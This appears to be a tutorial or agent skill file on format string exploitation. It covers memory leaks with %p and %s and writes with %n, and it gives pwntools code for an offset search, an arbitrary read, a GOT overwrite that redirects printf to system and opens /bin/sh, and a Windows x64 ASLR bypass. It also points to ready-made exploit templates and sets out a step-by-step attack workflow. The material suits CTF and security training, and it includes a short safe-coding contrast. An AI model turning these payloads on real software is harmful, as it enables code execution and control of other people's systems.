Format String Exploit

Format String Exploitation

Format string vulnerabilities occur when user-controlled input is passed as the format string argument to printf-family functions (printf, sprintf, fprintf). This allows attackers to read from and write to arbitrary memory addresses.

Core Concepts

Why This Works

The printf function expects a format string as its first parameter, followed by values to substitute. When an attacker controls the format string, they can:

• Read memory: Use formatters like %x, %s, %p to leak stack values
• Write memory: Use %n to write the number of bytes printed to an address
• Control execution: Overwrite function pointers in the GOT to redirect execution

Key Formatters

Finding the Offset

Before exploiting, you need to find where your input lands on the stack. Send a known pattern followed by format specifiers and increment until you see your pattern.

Use the script: scripts/find_offset.py automates this process.

# Manual approach
for i in range(1, 20):
    payload = b"AAAA%" + str(i).encode() + b"$x"
    # Send payload, check if "41414141" appears in output

Arbitrary Read

Use %<n>$s to read from an arbitrary address. The nth parameter should be the address you want to read.

Why this matters: You can leak:

• Binary base address (defeat ASLR)
• Canaries
• Encryption keys
• Sensitive data on the stack

Example:

from pwn import *

p = process('./vulnerable_binary')

# If input is at offset 6, and we want to read 0x8048000
payload = b'%6$s'  # Read string from 6th param
payload += b'xxxx'  # Padding (5th param)
payload += p32(0x8048000)  # 6th param = address to read

p.sendline(payload)
print(p.clean())  # Shows memory at 0x8048000

Arbitrary Write

The %n formatter writes the number of bytes printed so far to an address. To write arbitrary values:

1. Use padding: %.<count>x prints exactly <count> hex characters
2. Use %hn: Write only 2 bytes (useful for 32-bit addresses)
3. Write in two steps: Low bytes first, then high bytes

Why two steps: Writing a full 32-bit address like 0x08049724 would require printing 134,000,000+ characters. Using %hn twice (2 bytes each) is much more efficient.

GOT Overwrite Pattern:

The Global Offset Table (GOT) contains addresses of external functions. Overwriting a GOT entry redirects function calls.

Use the script: scripts/got_overwrite_template.py for a ready-to-use template.

from pwn import *

elf = context.binary = ELF('./vulnerable_binary')
libc = elf.libc

p = process()

# Overwrite printf's GOT entry with system's address
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
p.sendline(payload)

# Now printf() calls system()
p.sendline('/bin/sh')
p.interactive()

Windows x64 ASLR Bypass

On Windows x64, the first 4 parameters are in registers (RCX, RDX, R8, R9). When a format string is used without varargs, %p reads from R9, often leaking a stable pointer.

Use the script: scripts/windows_aslr_bypass.py for this technique.

Why this works: The leaked pointer has a known offset within the module. Subtract the offset to get the base address, then calculate all other addresses.

# Leak R9 via %p
leaked = int(received_output, 16)
base = leaked - KNOWN_OFFSET  # Found during local reversing

Common Vulnerable Patterns

Vulnerable:

char buffer[30];
gets(buffer);  // User input
printf(buffer);  // DANGEROUS: buffer as format string

Safe:

char buffer[30];
gets(buffer);
printf("%s", buffer);  // Safe: format string is constant

Exploitation Workflow

1. Identify the vulnerability: User input → printf-family function
2. Find the offset: Use scripts/find_offset.py
3. Determine protection status: Check for ASLR, canary, RELRO, PIE
4. Choose attack:
   • No ASLR: Direct GOT overwrite
   • ASLR enabled: Leak address first, then overwrite
5. Craft payload: Use fmtstr_payload() or manual construction
6. Test and iterate: Adjust offsets and addresses as needed

Scripts Available

• scripts/find_offset.py - Brute force stack offset
• scripts/got_overwrite_template.py - GOT overwrite exploit template
• scripts/windows_aslr_bypass.py - Windows x64 ASLR bypass

References

• HackTricks Format Strings
• CTF Recipes - Data Leak
• GuyInATuxedo Format String Series
• ir0nstone Notes